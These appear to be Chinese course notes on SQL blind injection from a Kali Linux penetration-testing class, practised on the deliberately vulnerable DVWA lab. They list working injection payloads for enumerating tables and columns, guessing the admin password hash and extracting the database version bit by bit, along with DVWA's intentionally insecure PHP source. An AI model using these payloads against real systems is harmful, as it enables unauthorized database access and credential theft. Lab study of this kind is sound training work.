本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. SQL 盲注简介
2. 此处的井号和空额一样都是注释
3. 无权限时
4. 服务器源代码
1. SQL 盲注简介
不显示数据库内建的报错信息
- 内建的报错信息帮助开发人员发现和修复问题
- 报错信息提供关于系统的大量信息
当程序员隐藏了数据库内建报错信息,替换为通用的报错提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲注
思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断
1 (不是所有情况都为1,而是要输入一个正确的结果,此处是输入User ID,所以输入1)
1’ and 1=1–
结果为真时,有结果
1’ and 1=2–
结果为假时,无结果
1’ order by 5– 假
无结果,说明为假
1’ order by 2– 真
有结果,说明为真
1’ union select 1,2–+
1’ union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())–
1’ and 1=0 union select null,table_name from information_schema.tables#
# 此处的井号和--空额一样,都是注释。“#” == “-- ”
1’ and 1=0 union select null,table_name from information_schema.columns where table_name=’users’ #
2. 无权限时
无权读取 information_schema 库 / 拒绝 union、order by 语句
猜列名:1’ and user is not null–+
1’ and user is null–
无结果,结果为假,说明 user 非空
1’ and user is not null–
有结果,结果为真,说明 user 非空,存在 user 列
猜当前表表名:1’ and table.user is not null–+
通过 user 列,猜表名,一般形式 table.user
1’ and table.user is not null–
无结果,说明 table 表不存在
1’ and users.user is not null–
有结果,说明为真,说明 users 表存在
猜库里其他表:1’ and (select count() from table)>0–+
1’ and (select count(*) from table)>0–
无结果,说明 table 表不存在
1’ and (select count(*) from guestbook)>0–
有结果,说明为真,说明 guestbook 表存在
列表对应关系:1’ and users.user is not null–+
有结果,说明为真,表和列对应关系存在
猜字段内容:1’ and user=’admin、1’ or user like ‘%a%
1’ and user=’administtator
无结果,说明 administtator 字段不存在
1’ and user=’admin
有结果,说明为真,说明 administtator 字段存在
1’ or user like ‘%a%
有结果,说明为真,查询到可能存在的字段名,然后可以挨个尝试
猜账号对应密码:2’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99
1’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99
2’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99
3’ or user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99
3. 真实案例
使用是或非来判断 SQL 信息,1’ and ORD(MID((VERSION()),1,1))&1>0–+
ORD(string) #得出字符的 ASCII码
ORD(a)结果为97
MID(列名, 查询位置, 步长)&ASCII码每一位代表的十进制
例如 MID(列名, 查询位置, 步长)&32 MID(列名, 查询位置, 步长)&64 # 判断第一位字符的ASCII码的每一位,之后将ASCII码合成十进制 ORD(MID((VERSION()),1,1))&1>0 ORD(MID((VERSION()),1,1))&2>0 ORD(MID((VERSION()),1,1))&4>0 ORD(MID((VERSION()),1,1))&8>0 ORD(MID((VERSION()),1,1))&16>0 ORD(MID((VERSION()),1,1))&32>0 ORD(MID((VERSION()),1,1))&64>0 ORD(MID((VERSION()),1,1))&128>0 # 判断第二位字符的ASCII码的每一位,之后将ASCII码合成十进制 ORD(MID((VERSION()),2,1))&1>0 ORD(MID((VERSION()),2,1))&2>0 ORD(MID((VERSION()),2,1))&4>0 ORD(MID((VERSION()),2,1))&8>0 ORD(MID((VERSION()),2,1))&16>0 ORD(MID((VERSION()),2,1))&32>0 ORD(MID((VERSION()),2,1))&64>0 ORD(MID((VERSION()),2,1))&128>0 # 判断第三位字符的ASCII码的每一位,之后将ASCII码合成十进制 ORD(MID((VERSION()),3,1))&1>0 ORD(MID((VERSION()),3,1))&2>0 ORD(MID((VERSION()),3,1))&4>0 ORD(MID((VERSION()),3,1))&8>0 ORD(MID((VERSION()),3,1))&16>0 ORD(MID((VERSION()),3,1))&32>0 ORD(MID((VERSION()),3,1))&64>0 ORD(MID((VERSION()),3,1))&128>0 #以此类推,就可以查出具体的版本信息
1’ and ORD(MID((VERSION()),1,1))&1>0–+
查询结果:
第1位:ASCII码:00110101:53:5 第2位:ASCII码:00101110:46:. 第3位:ASCII码:00110000:48:0 第4位:ASCII码:00101110:46:. 第5位:ASCII码:00110101:53:5 第6位:ASCII码:00110001:49:1 第7位:ASCII码:01100001:97:a 第8位:ASCII码:00101101:45:- 第9位:ASCII码:00110011:51:3 第10位:ASCII码:01110101:117:u 第11位:ASCII码:01100010:98:b 第12位:ASCII码:01110101:117:u 第13位:ASCII码:01101110:110:n 第14位:ASCII码:01110100:116:t 第15位:ASCII码:01110101:117:u 第16位:ASCII码:00110101:53:5 排序:5.0.51.a-3ubuntu5
可以查询 CURRENT_USER()、DATABASE()
4. 服务器源代码
dvwa Low 安全级别
<?php if (isset($_GET['Submit'])) { // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind' $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?>
dvwa Medium 安全级别
<?php if (isset($_GET['Submit'])) { // Retrieve data $id = $_GET['id']; $id = mysql_real_escape_string($id); $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind' $i=0; while ($i < $num) { $first=mysql_result($result,$i,"first_name"); $last=mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?>
dvwa High 安全级别
<?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)) { $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind' $i=0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } } ?>